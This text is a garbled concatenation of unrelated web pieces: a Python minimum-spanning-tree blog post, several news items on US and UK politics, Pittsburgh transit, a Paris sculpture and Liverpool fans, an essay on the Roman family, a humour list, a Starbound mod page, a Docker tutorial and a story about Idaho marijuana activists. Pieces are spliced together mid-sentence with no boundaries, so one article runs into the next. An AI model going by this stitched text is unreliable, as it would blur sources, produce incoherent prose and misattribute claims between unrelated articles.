This article first appeared on the EU Law Analysis blog, and represents the views of the author and not those of the |
reduce growth through debt fuelled acquisition.Sometimes, instead of working, I like to see what search terms are bringing readers to my blog. The most common search that healthyalgorithms has been most useless for is “minimum spanning tree python”. Today, I’ll remedy that.
But first, dear searchers, consider this: why are you searching for minimum spanning tree code in python? Is it because you have a programming assignment due soon? High-school CS class is voluntary. All college is optional, and many you are paying to attend. You know what I’m talking about? Perhaps the short motivational comic Time Management for Anarchists is better than some Python code.
Still want to know how to do it? Ok, but I warned you.
I wrote about what a spanning tree is and why you might want one a few months ago, while promoting my wares. But forget all that fancy stuff. If you need to find a plain-old minimum spanning tree, and you like speaking Python, then you want MinimumSpanningTree.py from David Eppstein’s PADS library (Python Algorithms and Datastructures).
PADS doesn’t have an easy_install package that I know of, but for finding MSTs, there are only two files you need: UnionFind.py and MinimumSpanningTree.py. Put these somewhere that Python can find them, like in your working directory.
Python makes Kruskal’s algorithm so short that I’ll just quote Eppstein’s entire MinimumSpanningTree function here:
def MinimumSpanningTree(G): """ Return the minimum spanning tree of an undirected graph G. G should be represented in such a way that G[u][v] gives the length of edge u,v, and G[u][v] should always equal G[v][u]. The tree is returned as a list of edges. """ # Kruskal's algorithm: sort edges by weight, and add them one at a time. # We use Kruskal's algorithm, first because it is very simple to # implement once UnionFind exists, and second, because the only slow # part (the sort) is sped up by being built in to Python. subtrees = UnionFind() tree = [] edges = [(G[u][v],u,v) for u in G for v in G[u]] edges.sort() for W,u,v in edges: if subtrees[u]!= subtrees[v]: tree.append((u,v)) subtrees.union(u,v) return tree
So, for example, if you have ever had a desire to find the minimum spanning tree of complete graph with uniformly random edge weights, you could do it like this:
from random import random from MinimumSpanningTree import MinimumSpanningTree as mst n = 10 G = {} for u in range(n): G[u] = {} for u in range(n): for v in range(u): r = random() G[u][v] = r G[v][u] = r T = mst(G) mst_weight = sum([G[u][v] for u,v in T])
We might as well get some beautiful pictures out of this, since it’s not much more work. For the above code, but tweaked so that every point has a random position in the unit square with distances as-the-crow-flies between them, behold.
For fun times, ask yourself, what if I wanted 2 disjoint spanning trees on this set of points? The minimum cost solution can be very different from the spanning trees you find if you yank out the MST and use Eppstein’s code on the remaining edges.
p.s. It looks like Aric Hagberg just added this mst code to NetworkX, so if you have the most-most-most recent version of that, maybe you can build up any XGraph and then just say T = networkx.algorithms.mst(G).Late-night host Jimmy Kimmel on Thursday reimagined President Trump’s off-the-record media lunch on Thursday as the Red Wedding scene from the HBO hit series "Game of Thrones."
The president held a meeting with network news anchors amid the ongoing scandal over Russian election interference, which he has blamed on the press.
"Again, it was supposed to be private, but we obtained some video which we can share with you now exclusively," Kimmel said on "Jimmy Kimmel Live" on Thursday night.
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The program then aired footage of the Red Wedding, an iconic scene in which a slew of characters from the series are betrayed and killed at a large wedding feast, with pictures of news personalities edited over the actors' faces.
"Only [Fox News host] Tucker Carlson survived. Tune in next season to see how it all turned out," Kimmel added.>>> As part of its attempt to influence the 2016 US presidential election, the Kremlin created phony accounts on Facebook, Instagram, and Twitter, then paid for thousands of divisive political postings to be run as ads. Congress held three hearings into this matter on October 31 and November 1.
At first, Facebook refused to hand over the ads to Congress. Eventually, FB relented but still refuses to let the public see which paid postings were bought by Russia in order to influence us. Congress is reportedly in possession of around 3,000 of these ads from Facebook/Instagram, as well as an unknown number from Twitter.
At the beginning of November, the Democratic minority of the House Intelligence Committee released over 30 of them here and here. (Rep. Adam Schiff said: "I am also committed to making all of these ads public as soon as possible, working closely with Facebook to address any privacy considerations.")
Almost every online news outlet has posted some of these images. Here you'll find all that were released. They're displayed on this page, and I've made them available as a single PDF, along with the metadata that was released for most of them.
Related: A humongous trove of tweets from defunct Russia-created Twitter accounts
The Memory Hole 2 is just me against a mountain of secrecy.
Please donate to keep me going.Karina Ricks is the former associate director of D.C.’s Department of Transportation.
Today is Karina Ricks’ first day on a job that hasn’t existed before in Pittsburgh.
Ricks is the city’s first director of the Department of Mobility and Infrastructure, which is tasked with providing a “safe, sustainable and efficient system of transportation and accessibility.”
She’s the former associate director of D.C.’s Department of Transportation and had been a principal at transportation consulting firm Nelson\Nygaard’s District office since 2012.
“Pittsburgh is a whole new adventure,” she told The Incline on Thursday.
“It’s a different era of transportation. It’s really exciting again to be at the forefront of, how do you employ these great new technologies for good? How do these things really serve the larger objectives and values of the city?” Ricks said. “It can’t be a better place to be, in my opinion.”
And then there’s the topography.
“Your topography is not to be taken lightly,” she said. “It’s a city that can only be understood in three dimensions.”
‘A really dynamic time in D.C.’
Ricks worked for D.C.’s Office of Planning between 2000 and 2005, where she focused on land use and economic revitalization in “neighborhoods that hadn’t gotten a whole lot of attention [or] investment.” Transit development was a key part of that.
In the mid-2000s, she said many departments of transportation were looking at their roles through a maintenance and safety lens “but not really seeing that potential larger community vision.”
“Transportation is one of the most powerful economic development and social justice tools that we have at our disposal,” Ricks said.
She approached DDOT’s then director Dan Tangherlini, who later became administrator of the General Services Administration under Obama, with her philosophy and joined the agency in 2005.
“It was a really dynamic time in D.C.,” she said.
In the six years that she worked there, DDOT launched its Capital Bikeshare system (still one of the country’s most successful) and the Circulator, a network of city-run buses that travel commercial corridors and charge $1 per trip. The department also developed a Complete Streets policy and continued planning for a streetcar system that finally opened its first segment in February 2016.
But her time at DDOT also showed her the need to get a “foundation in place” before bringing economic growth to these areas in order to protect “people who were in these neighborhoods who were soon to be the beneficiaries.”
The H Street NE corridor, where D.C.’s first streetcar line in 50 years opened in 2016, is a perfect example. In the past decade, the commercial strip, which was devastated by riots in 1968, went from a handful of longtime businesses plus a few newer restaurants to having a Whole Foods and a Starbucks. The surrounding neighborhood’s housing stock now includes million-dollar homes and $2,000-a-month studio apartments. Development came to the area years before the streetcar even started running.
“Understanding the power of transportation is an important step,” Ricks said, but so is making investments to stabilize communities.
Collaborating in Pittsburgh
One of her tasks as director of the Mobility and Infrastructure department will be to coordinate Pittsburgh’s transportation planning with partners in the city (agencies like the Department of Public Works), county (Port Authority), and state (PennDOT).
D.C.’s transportation department operates as both a city and state agency. Collaboration was seamless, Ricks joked.
But in the five years that she’s worked as a consultant, Ricks said she’s found “really great partners in the state DOTs.” Pittsburgh, she noted, already has a good relationship with PennDOT.
Ricks said regional planning can be more difficult in some ways.
“We all rise and sink together in a way,” she said. “We need to respect one another. We need to respect the communities through which we travel.”
The good happening in Pittsburgh on the transportation front is “too numerous to list,” Ricks said.
She highlighted Mayor Bill Peduto’s leadership and “great assets to build on” like Port Authority (“a cornerstone of mobility in Pittsburgh”), autonomous vehicles and the city’s busways, which are “not touted as much” as they could be when maximizing transit-oriented development.
… and what about self-driving cars?
That Pittsburgh’s future is closely tied to the development of autonomous vehicles is both one of the city’s greatest strengths but also a concern to public transit advocates.
Pittsburghers for Public Transit has criticized Uber’s close relationship with Peduto’s administration and has called for a “publicly operated on-demand transportation service that is equitable, accessible and accountable to the communities it serves.”
Integrating the city’s public transit with the private is “going to be one of the big challenges to figure out,” Ricks said.
The city needs to meet people’s mobility needs, she said, a balancing act between factors like reliability, travel time and price. The goal is to get people from point A to point B in the way that makes the most sense for them.
“It’s not to say that we shouldn’t have autonomous vehicles or that autonomous vehicles are only for a certain group,” she said. “There may need to be some programs in place that can leverage the great benefit that autonomous vehicles bring to make sure that benefit is also available to communities who may not be able to afford the price.”
But Ricks added that transit operators shouldn’t feel “threatened” by autonomous vehicles. The more Pittsburgh can get people to “disconnect themselves from a single mode of travel” like driving the better, she said.
Sometimes that will be transit. Sometimes that will be biking or walking. Sometimes that will be a private autonomous vehicle “or who knows what’s next.”
“If you’re operating on our public streets and rights of way, there should be a general availability and access to the public,” she said. “What do we do to make sure that happens, we need to figure out.”
With the right public policy and a well-managed system, “you can have the best off both worlds.”Fox News on how California's new rules for apportioning delegates in its primary mean less-popular candidates such as Ron Paul can get big bang for the buck--for example, if he can get even a couple of thousand Republicans in the SF bay area to vote for him, it could mean three delegates at the convention.
Elsewhere in the impossibly large world of news and chatter re: Ron Paul, libertarian movement-rooted economist and New York Times columnist (and reason contributor) Tyler Cowen explains why he ain't panting for Paul. Comment thread also interesting, with musings on why some of the completely non-libertarian out there in the commentariat seem more mellow toward Paul than some ostensible libertarians.
I asked why some libertarians might be leery of Ron Paul back in July.To put it mildly, the Labour party’s relationship with the International Monetary Fund has not always been a happy one.
Memories of 1976, when an IMF team forced Jim Callaghan’s government to cut public spending in return for an emergency loan, are powerful to this day.
So when shadow chancellor John McDonnell was drawing up the tax plans included in Labour’s general election manifesto, the IMF would have been a long way down the list of organisations from which he might have expected an endorsement.
Yet, in its latest fiscal monitor, that is precisely what the IMF has done. Not explicitly, of course. The report is careful not to say which countries should be thinking about raising the top rate of tax. Still less does it say that the right level should be the 50% proposed by Labour.
But that doesn’t really matter because what the IMF has done is provide some high-level support for Labour’s basic approach.
IMF: higher taxes for rich will cut inequality without hitting growth Read more
The fiscal monitor notes that tax systems have become less good at offsetting inequality during a period when the average marginal rate of income tax in western countries has been cut from 62% to 35%.
The justification for allowing the rich to keep more of their income has always been that it is good for growth because lower tax means more risk-taking, more entrepreneurship and higher growth.
Yet there is no evidence that making life sweeter for the rich has done anything other than make them richer. Trickle-down economics is bunk.
To be clear, the IMF is not saying that it would be a good idea to return to the 1970s peak of an income tax rate of 83%.
But it is saying the rich could pay more tax without hindering growth, provided the increase is not excessive. Even with that caveat, that conclusion is extremely welcome for Labour.Paul McCarthy artwork inspired by a butt plug and Christmas tree lies slumped on pavement after cables holding it up were cut
Vandals have attacked a large inflatable sculpture that sparked outrage in Paris for its resemblance to a sex toy.
Cables supporting the 24-metre green piece by US artist Paul McCarthy – which he said was inspired by a Christmas tree and a butt plug – were cut on Saturday, leaving the artwork slumped on the pavement in the Place Vendôme and forcing a security guard to deflate it, police said.
“An unidentified group of people cut the cables which were holding the artwork, which caused it to collapse,” police told Reuters. “The person responsible for the piece then decided to deflate it to avoid it being more seriously damaged.”
The deflated sculpture was being removed from the square on Saturday afternoon.
It provoked both mirth and outrage on the streets and social media when it was unveiled next to the Ritz hotel on Thursday.
One man was so incensed that he slapped McCarthy three times in the face, yelling that he was not French and that his work had no business in the square, before running off, the Le Monde newspaper reported.
The Paris mayor, Anne Hidalgo, said the attack was unacceptable and denounced the assault on McCarthy.
“Paris will not succumb to the threats of those who, by attacking an artist or a work, are attacking artistic freedom,” she said in a statement. “Art has its place in our streets and nobody will be able to chase it away.”
The 69-year-old contemporary artist is known for his controversial and ambiguous works, but even he was surprised at the reception he got in Paris, better known for its relaxed attitude toward sexual matters.
An official from the FIAC contemporary art fair, which put on the exhibition, said the offenders had first unplugged the pump that kept the structure standing up.
The FIAC said it intended to resurrect the sculpture as soon as possible.The prosecution team investigating former congressman Aaron Schock (R-Ill.) for illegally profiting from his elected office is denying accusations of investigating Schock's sexuality as part of the probe.
Prosecutors rejected claims by Schock's attorneys that they had improperly inquired into the former congressman's personal life in a court filing on Friday.
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Politico first reported on the filing.
The defense claimed that the prosecution improperly asked witnesses questions about Schock's personal life and asked that the case be dismissed. The defense at the time admitted there "has long been speculative gossip in the media about Mr. Schock's sexual orientation."
"We fully agree with Defendant Schock that his sexuality is completely irrelevant in this criminal matter," wrote prosecutors Timothy Bass and Eugene Miller in the federal court filing. "It was not of interest to the government, and the government did not inquire about it."
They acknowledged that several witnesses brought up Schock's sexuality.
"Out of the approximately 116 witness interview reports during the investigation and since the indictment, only 4 contain any references to Defendant Schock’s sexuality, and those references were initiated by the witness, not by the government," Bass and Miller wrote.
"Defendant Schock’s attempts to attribute misconduct on the part of the government based on an issue that he himself admits pre-dated the grand jury investigation is simply meritless," they said in the filing, which asks that the court deny the motion to dismiss the case.
The former congressman has pled not guilty to the charges, which included allegations of inflating mileage reimbursements for profit and additional improper use of the House allowance and campaign funds. Schock's attorneys have blamed the charges on improper bookkeeping practices.
Schock resigned in March 2015.Barack Obama
Barack Obama’s redecoration of the Oval Office includes a nice personal touch: a carpet ringed with favorite quotations from Abraham Lincoln, John F. Kennedy, both Presidents Roosevelt, and Martin Luther King Jr. The King quote, in particular, has become a kind of emblem for him: “The arc of the moral universe is long, but it bends toward justice.” For all the carping about his every move, the only big problem with the Obama Presidency is the gap between what’s written on his rug, and what’s buried under it—the distance between the President’s veneration of moral leadership past and his failure, so far, to exhibit much of it himself.
Obama has had numerous occasions to assert leadership on values issues this summer: Arizona’s crude anti-immigrant law, the battle over Prop 8 and gay marriage, and the backlash against what Fox News persists in calling the “Ground Zero mosque.” These battles raise fundamental questions of national identity, liberty, and individual rights. When Lindsey Graham argues for rewriting the Constitution to eliminate the birthright citizenship clause of the 14th Amendment, or Newt Gingrich proposes a Saudi standard for the free exercise of religion, they’re taking positions at odds with America’s basic ideals. But Obama’s instinctive caution has steered him away from casting these questions as moral or civil rights issues. On none of them has he shown anything resembling courage.
Responding to the fight over the mosque, Obama has been characteristically legalistic and technical. At an Iftar dinner he hosted at the White House, the president supported the right of Muslims “to build a place of worship and a community center on private property in lower Manhattan”—itself a too-picky allowance. The next day, he hedged even further, telling reporters, “I was not commenting and I will not comment on the wisdom of making the decision to put a mosque there.” This sail-trimming, where a bold defense of freedom of worship was wanted, left it to the newly heroic Michael Bloomberg to instruct us, at his own Iftar dinner in New York, that the issue was “a test of our commitment to American values.”
With the Proposition 8 fight, Obama has fallen short in a different way, by his reluctance to join an emerging social consensus. Obama had previously criticized California’s Proposition 8, the ballot initiative banning same-sex marriage, as “divisive.” But his official position—which no one believes he actually holds—is that he is against legalizing gay marriage. Americans are changing their views on this issue with inspiring rapidity. Judge Vaughn Walker’s moving opinion provided an occasion for Obama to move to embrace the extension of equal rights to gay people. Instead, he slunk mumbling in the other direction. How dismal that America’s first black president will be remembered as shirking the last great civil rights struggle.
When it comes to immigration, Obama has largely failed to challenge the new nativism represented by Sarah Palin, Glenn Beck, and Arizona Gov. Jan Brewer. Yes, his Justice Department filed suit to block the implementation of Arizona’s harsh law. But in talking about the topic, Obama has remained restrained and self-referential (“I’ve indicated that I don’t approve of the Arizona law …”). He has said nothing moving or memorable about the place of immigration in American life, or the rights of noncitizens, including the rights of children to education and medical care, or the reality that 11 million undocumented residents can’t and won’t be shipped back where they came from.
Here, as elsewhere, the current politics don’t favor the liberal position. But read the rug: “The welfare of each of us is dependent fundamentally upon the welfare of all of us”—Theodore Roosevelt. Obama has let pass moment after moment—such as the recent Republican suggestion of revising the section of the Constitution that guarantees due process—to reframe the issue around terms of inclusiveness and justice.
Few would argue that defending liberal principles serves Obama’s short-term interests. Americans oppose the mosque 61-26 according to one recent poll, and support the Arizona law by an even wider margin. But even if some people don’t like Islam, or illegal immigrants, or gay weddings, they may respond to admonitions that our society is built around freedom of conscience and equal treatment under law. If he applied his literary gifts to these principles, it would give Obama’s depressed Democratic base something to be excited about. It could remind a grumbling nation what it liked about him in the first place.
Like Slate on Facebook. Follow us on Twitter.Highlights: Zenit St Petersburg 2-0 Liverpool
The Europa League is live on ESPN this season. Click for details on how to subscribe.
Liverpool supporters were attacked by hooligans both before and after their Europa League match at Zenit St Petersburg on Thursday.
A report on St Petersburg's Peter TV channel said that on the night before the last 32 first-leg tie - which the Reds lost 2-0 - a 40-strong group had attacked travelling fans as they emerged from a bar in the city.
Liverpool supporters were forced to take shelter inside before security staff used baseball bats to disperse the attackers. Local media reports said nobody was seriously injured in the incident.
Supporters also said they had been attacked on metro trains as they travelled to and from the Petrovsky Stadium, with some also claiming to have been attacked inside the ground.
In the days before the game, Zenit officials had said they were working to ensure a safe atmosphere at the match, at which there was a high police presence, after Liverpool raised concerns about potential racism.
A statement from the Russian club issued earlier in the week said: "The club's personnel have been working hard so that the players and fans alike would enjoy the match.
"Zenit have always condemned any form of racism. We hope our opponents share the same principles and tomorrow we all be treated to a great football match and passionate crowd support."
Liverpool raised concerns because supporters in St Petersburg - a city with strong links to nationalist right-wing politics - have become notorious for racism.
In December, the club's largest fan group demanded that no black or gay players should play for Zenit, but the Landscrona group later insisted its message was misrepresented.
© ESPN Sports Media Ltd.Whether there was a king, a consul, or an emperor that stood supreme over Rome and its territories, the one constant throughout Roman history was the family. Like many earlier societies, the family was the fundamental social unit in the eternal city, and at its head was the father, or if there were no father, the eldest living male - the Latin expression for this is paterfamilias. One historian noted that the Roman family, in fact, reflected the principles that would shape Rome’s Republican values.
Absolute Paternal Power
To a Roman male his family was more than just his wife and children. It determined both his social standing and personal worth. His home or domus established his reputation, or his dignity (dignitas). Under Roman law, the father possessed absolute paternal power (patria potestas), not only over his wife and children but also his children’s children and even his slaves, in fact, anyone who lived under his roof. After his father’s death, Roman poet and statesman Cicero, an eldest son, bore responsibility for his brother and his brother’s family. By law a father could even beat his adult son (although this may have never been done). A father’s lineage, his ancestry, was of the upmost importance, defining his position in the social hierarchy. A male’s ties to his blood relatives - his children, parents and siblings (cognati) were the strongest while the relatives acquired through marriage (his in-laws) or adfinitas, though still important, were secondary.
Under Roman law, the father possessed absolute paternal power (patria potestas) over whoever lived under his roof.
Marriages
Of course, there could be no family without marriage. Again, most marriages were not for love but were most commonly arranged for political, social or financial reasons. The great Roman commander Pompey married the daughter of Julius Caesar to cement their political relationship. Octavian (the future Augustus) married his sister Octavia to Mark Antony to solidify the Second Triumvirate. Augustus forced his step-son and heir, the future Emperor Tiberius, to divorce his wife Vipsania in order to marry the emperor’s daughter Julia in an attempt to solidify the young man’s ascent to the throne. Unfortunately, a woman had little say in whom she married. Often the marriage would be to a much older man - something that later left many a young bride a widow. A girl was usually married or was betrothed between the ages of 12 to 15, sometimes as early as 11, although there is no mention as to when the marriage was consummated.
The state played little or no part in a marriage. Most were simple and private affairs while others were far more elaborate and expensive. Basically, a couple was married if they claimed to be and divorced if they said so. A celebration party might or might not follow. Of course, the bride’s father had to provide a dowry, however, the husband was obligated to return it if the marriage ended in a divorce. Unlike today, there didn’t have to be a specific reason for a divorce. Cicero, after several years being married to his wife Terentia, simply ended it in 46 BCE without any reason – a process known as affectio martalis. He married shortly afterwards to a much younger women only to have it end in divorce too. In 58 BCE, while Cicero was away from Rome in Thessalonica and going through a personal crisis, he wrote to his wife a very moving, personal letter.
Many people write to me and everybody tells me how unbelievably brave and strong you are, Terentia, and about how you are refusing to allow your troubles either of mind or of body to exhaust you. How unhappy it makes me that you with your courage, loyalty, honesty, and kindness should have suffered all these miseries because of me! (Grant, 65)
There were, however, marriages with a more elaborate and costly ceremony, complete with a priest and marriage contract. First, an animal would be sacrificed and its entrails read to see if the gods approved. The wedding, June was always a popular month, took place in the atrium of the bride’s home. She typically wore a tunic-style dress (tunica recta) which was usually yellow. After a ring was placed on the third finger of her left hand and the matron of honor joined the couple’s hands, a contract was signed. Next, a procession was led to the groom’s home where festivities would last for several days. The bride was even carried over the threshold. Of course, the groom paid for the reception - complete with food, dancing and songs.
Women's Status
It is evident that women were not generally held in high regard in Rome. They were married at an early age to a man they may or may not have loved. There were very few, if any, unmarried women. Although they could inherit property from their father’s estate, they had little in the way of identity, indeed most were almost nameless. While considered by law to be citizens, they could not hold public office or vote. The control of their very being was handed over from their father to their new husband. Although no examples exist, a husband could, by law, even execute his wife for adultery.
However, unlike a woman in Greek and Near Eastern society, a woman in Rome could appear with her husband in public - although public displays of affection were forbidden. She could attend the theater (albeit in the back rows) and use the public baths (separately, of course, from the men). Her duty, besides to provide children, was to be head of the household, for which role she held the keys to the house. She oversaw cooking and clothing production - both spinning and weaving - as well as supervised domestic servants. She controlled the economic affairs of the home and, if necessary, helped in her husband’s shop. A wife could even dine at the same table with her husband. Much later, as the role of a woman changed over time, she could become a pharmacist, a baker, and even a doctor.
Oddly, Roman women did not have a first name or praenomen like their male counterparts. Their name came from the father’s middle name or nomen gentilicium. For example, the daughter of Cicero’s name Tullia came from his middle name of Tullius while Caesar’s daughter was Julia derived from Julius, as his birth name was actually Gaius Julius Caesar. Elder women and their daughters with the same name used both major and minor, or prima and secunda, to distinguish them.
Children's Status
The real purpose of marriage, aside from the political one, was to produce children and heirs. Regrettably, childbirth was the biggest cause of death for young women. Although sources vary, over one-third of the children born to a Roman family died before his or her first birthday. If a woman could not have children, it was considered her fault. Something that may seem odd to today’s parent but a Roman mother was taught not to grieve but to take a child’s death calmly. Almost one-half of children would not survive to the age of five. If one survived to the age of ten, he or she had a life expectancy to live at least another 40-50 years. The causes of a child’s early death were many - dysentery, diarrhea, cholera, typhoid fever, malaria, pneumonia, and tuberculosis. were just some of causes. Added to these risks were poor nutrition, poor hygiene and the city’s cramped living quarters.
Unlike our present day where adult children often will leave the nest, in Rome, several generations could easily live under one roof, and even then an adult, married male and his family were accountable to the father. This unconditional authority allowed the father to not only arrange marriages for his children but also determine whether infants (especially females) were accepted or allowed to die. As in ancient Sparta, it was not uncommon for weak, disabled or unwanted children to be left exposed to the elements. Girls, particularly in poorer families, were especially unwanted because of the need to provide a dowry at their marriage. In more affluent families children, both boys and girls, were usually educated in the basics at home (the responsibility of the mother), often by a private tutor (who was usually Greek). Some male children would attend a secondary school or grammaticus at the Forum and then travel to such places as Athens to receive further schooling in rhetoric and philosophy.
A child’s citizenship, in particular a male’s, was not a birthright. A father could easily reject a child at birth. Tradition dictated than he had to take the newborn into his arms in order for him or her to be accepted. If not, if he rejected the child, a slave would leave the infant by the roadside. The Romans were a superstitious people and it was customary for a father to wait at least nine days before a male child would be named. They believed that by nine days all evil spirits would be gone. The future of a child could be read simply through the behavior of passing birds. A charm or bulla was placed around a male child’s neck for good luck until he became of age (usually fourteen) when he would don a toga and be taken to the Forum and registered as a citizen.
Conclusion
Roman society, then, centered on the family and emphasised the role of the father. Much later the absolute power of the father would weaken as many of the more traditional social norms would be challenged and broken down. Unlike their counterparts elsewhere, Roman women would gain a modicum of independence and their children, or at least the wealthier ones, became free to marry whomever they wished. In the latter days of the Republic many public figures - one of the more notable was Cicero - claimed that the decline in Roman morality and loss of the old established values was a reason for its fall.
In 18 BCE Emperor Augustus, objected to this decline of Roman morals and enacted a series of laws to promote marriage, marriage fidelity, and childbirth. However, under the emperor the idea of pater potesta would expand - he became pater patriae or father of his country. This was not the first time this term had been used for Cicero had received the title after his prosecution of Catiline, and Caesar received it after his victory at Munda. Many future emperors would embrace this concept, that is, the idea of being a father to the people. The idea of a male dominated society would, of course, not end with the fall of Rome. It would remain in many areas and cultures well into the modern era.Let’s face it: we buy our big kid clothes, we set up bank accounts, we finally learn to check our oil. But a lot of us are still struggling with the whole adult thing. We’ve made a few transitions- we update our iTunes ocassionally, and we have those fancy signatures at the end of our emails. But there are plenty of signs we’re still far from functioning adults.
Using the telephone is still a terrifying endeavour.
You base your furniture purchases on how easily it will fit in a UHaul.
You dread your 26th birthday, not because it means you’re officially in your mid to late 20s, but because it means you’ve lost your parents’ health insurance.
Your student debt is enough for a house down payment.
You still get mistaken for a fifteen-year-old occasionally.
You eat cereal for dinner more than once per week.
You go to the grocery store to buy “healthy, well-balanced” food and leave with 2 bottles of wine, popcorn, and string cheese.
You convince your parents to purchase a Netflix account so you can bum off their subscription.
You wait until you’re wearing your last pair of clean underwear to do laundry.
You’ve adopted new hairstyles solely based on how well they hide dirty hair.
Every Wednesday you find yourself saying at meal time, “Well, I’ve only had Chipotle twice this week..”
You cite Cher Horowitz or Buffy Summers as a source of authority to end arguments (or Lilo & Stitch for the younger millennials).
You can’t get used to not having summers off.
You’re still wearing clothes from high school.
You call your gym to find out if they’re playing the premiere of your favorite show because you don’t have cable.
You get an annoyed call from your boss because while filling out your I-9s, you somehow indicated that you are a military spouse over the age of 65.
You actually believe that Netflix will email you to inquire after your health when you watch 72 hours straight of Friday Night Lights. (But really though, we thought this was a thing).
You joined a book club to feel like an adult and got bored because there were no talking animals.
Buzzfeed is a valid newsource to you.
You’re not sure why you can’t list your dog on your life insurance.About this mod bringing weapons, armors and more from the Starwars universe into Starbound Permissions and credits Author's instructions I need help with art assets and making them nicer as well as being open to add your Starwars mod into this to make it one big package. Please message me and I am sure we can work something out. No matter what, any contribution will get you added to the credits as well as a link back to you File credits This author has not credited anyone else in this file Donation Points system This mod is not opted-in to receive Donation Points Changelogs Version 1.3AngryK Added 7 New blasters and deprecated 1 Removed recipe costs to help with balancing and debugging Added more sound effects and projectile effects Applied additional balancing for lightsabers and blasters Reduced the volume of sound effects per community request
You all knew it had to come and some of you have already created some weapons / items or are in the process of it. This mod brings weapons and items from a galaxy far far away and right to the comfort of your own star ship... or base... or campsite... you get the gist.
What it Currently Includes:
1 Crafting table that will do all the building of your Star Wars goodies
7 Blaster pistols and 1 blaster rifle... more to come
Padawan Lightsabers your father always wanted you to have... more to come
How to Use the mod
You can craft the "StawWars Weapons Crafting Table" using the anvil (recipe is in the description)
Place the "StawWars Weapons Crafting Table" then use it to craft your items.
Enjoy!!!
Features:
A bunch of blaster pistols
A 2 handed E-11 Blaster Rifle
Blasters can be dual wield (single handed pistols)
Blaster laser emits low red or green light
Lightsabers emits light that match color
Single Handed lightsabers (black, blue, green, orange, purple, red, yellow)
2 Handed lightsabers (black, blue, green, orange, purple, red, yellow)
Single handed Lightsabers can be dual wield
Lightsabers emits light |
/scala-sbt
If you want to know what the particular flags mean, there’s of course a docker run --help available. The parameters we use do the following:
-i stands for interactive - the STDIN will be open even if we are not attached
stands for interactive - the STDIN will be open even if we are not attached -t stands for tty - we’ll get a pseudo-tty to interact with the container
Those flags are often used together, so you’ll probably want to remember simply that -it will spin up a container you can interact with :)
Once you run the docker run -it hseeberger/scala-sbt command, you’ll see Docker downloading some stuff. Those are the images required to build your container (remember that images are modular?). You don’t need to know where they’re stored, remember where the image files are or anything - it’s all managed from one place with docker image commands (more on that in the last section).
What you’ll see after the run command finishes is probably something like this:
root@3d5b83c7ea03:~#
All of that trouble just to get a different command prompt? :) Obviously not, what you have here is a shell of your fresh container, ready to accept commands. If you execute an ls, you’ll see we have a scala-2.12.2 directory available. Let’s cd scala-2.12.2/bin and then execute scala.
And there you have it. A Scala REPL. You can now see how Scala works in practice, without cluttering your computer with either Scala nor any of it’s dependencies. Once you’re done, simply Ctrl+C to exit the REPL and then execute exit to quit the container.
But wait, we can do better!
Let’s recap what you need to do at this point to launch a Scala REPL (considering that Docker installation is a one-time step you’ve already done):
docker run -it hseeberger/scala-sbt
cd scala-2.12.2/bin
scala
That’s three commands. Can we do it better? Yes we can! But we’ll need a different image. The one we used is basic scala and sbt. Let’s check the page for the second most used Scala image. Reading that page, we can see that we can run the scala REPL with a single command.
Let’s run it then: docker run -it williamyeh/scala (let’s ignore the --rm flag for now).
And there we have it, this time our container directed us to the REPL directly, so we can now run a Scala REPL with a single command and still keep our computer clean!
You don’t need to bother with installing Scala or any of it’s dependencies, you don’t even need to know what those dependencies are. There’s also no clean up involved - if Scala’s not your thing and you just want to get rid of it from your machine, stop the container and remove the image and there’s no trace left.
Another benefit is that your environment is clean. It contains only the basic OS and what’s needed by the specific tool you need. Remember all those times some tool did not work because your computer had an incompatible version of something that the tool required or behaved in a weird way because it was influenced by some unknown force? That won’t happen in case of containers.
Why did the other image behave differently, though? That’s something I intend to discuss in another post, where we’ll talk about how to create images. Let’s just treat it as magic for now :)
Traditionally, a quick summary: to run a container (assuming you’ve installed Docker and know the image you want to use), you need to simply docker run -it your/image. That’s all there is to it to get a container running :) What the container will do depends on the image of your choice.
There are many use cases for Docker, what I’ve shown here is one of them - when you want to explore some tool but not necessarily install it on your machine directly. Some others include a common environment for a development team or testing a tool/framework that cannot work under your host OS.
That’s all for this blog post - you can read further for a few additional commands you might want to know at this point.
Useful commands
You now know how to:
install Docker
find an image you need
download the image
run a container
There are some other basic commands you might want to know. I won’t go into details, but it’s worth mentioning them.
docker ps will list all your currently running containers (because not all of them are destroyed immediately when you exit, like in our simple example). If you add the -a flag, it’ll list all containers and their current state.
docker image ls will list all your images. You might want to remove old images to free up some space. Don’t know how to do that? Use docker image --help and find out :)
docker stop <name> and docker rm <name> (often used together, docker stop <name> && docker rm <name> ) will stop/remove a container. A container can also be automatically removed upon stopping by adding a --rm flag when launching it via docker run.Medical marijuana activists' children taken from home and put in foster care
The parents of two young boys who have dedicated their lives to legalising medical marijuana are struggling this week to cope with the heartbreaking reality that police have taken away their sons and placed them in foster care.
Josh and Lindsey Rinehart from Boise, Idaho, returned home from a trip with fellow activist Sarah Caldwell last week to find that their two children and Ms Caldwell's two sons had been removed from the babysitter's care while they were out.
According to a police search warrant, the Rineharts are being investigated for 'possible charges of trafficking, possession and injury to a child', accusations they insist are unsubstantiated.
Distraught: Linsdey and Josh Rinehart (left) and Sarah Caldwell (right), medical marijuana activists' in Boise, Idaho have had their children taken away by police who deem the presence of cannabis in the home dangerous
Mrs Caldwell's children have already been returned to their mother but the Rineharts will have to endure an impossibly long wait to see their boys again.
'They say their goal is to return our children to our home once it is deemed safe,' Lindsay Rinehart told KTVB.com. 'They say our children will be in foster care for 30 days.'
Teary: Mrs Rinehart takes marijuana for her Multiple Sclerosis to avoid the 'toxic' medication prescribed by doctors but says she'll stop if it means getting her boys back
Mrs Rinehart, a publicly recognised member of the medical marijuana advocacy group 'Compassionate Idaho', went on to defend herself and her husband against the charges, saying: 'We were not dealing. We were not buying. We were not selling. We were not growing.'
In fact, a long-time sufferer of Multiple Sclerosis, Mrs Rinehart takes the drug to avoid 'toxic medication' that would otherwise be administered to help with the disease.
She is the chief petitioner for the Idaho's medical marijuana initiative and a constant presence on Compassionate Idaho's Facebook page where a slogan reads: 'Welcome to Idaho, where marijuana is more dangerous than a loaded gun'.
Police and Health and Welfare officers called on the family home after someone at the children's elementary school reported that someone had brought cannabis to school and eaten it.
'So they decided basically, who would have cannabis in their home,' explained Mrs Rinehart through tears. 'Now if you're the chief petitioner to legalize medical marijuana, where would you go with that?'
Supplies: Though possible charges of trafficking, possession and injury to a child may be brought against the activists, Mrs Rinehart vehemently denies such claims
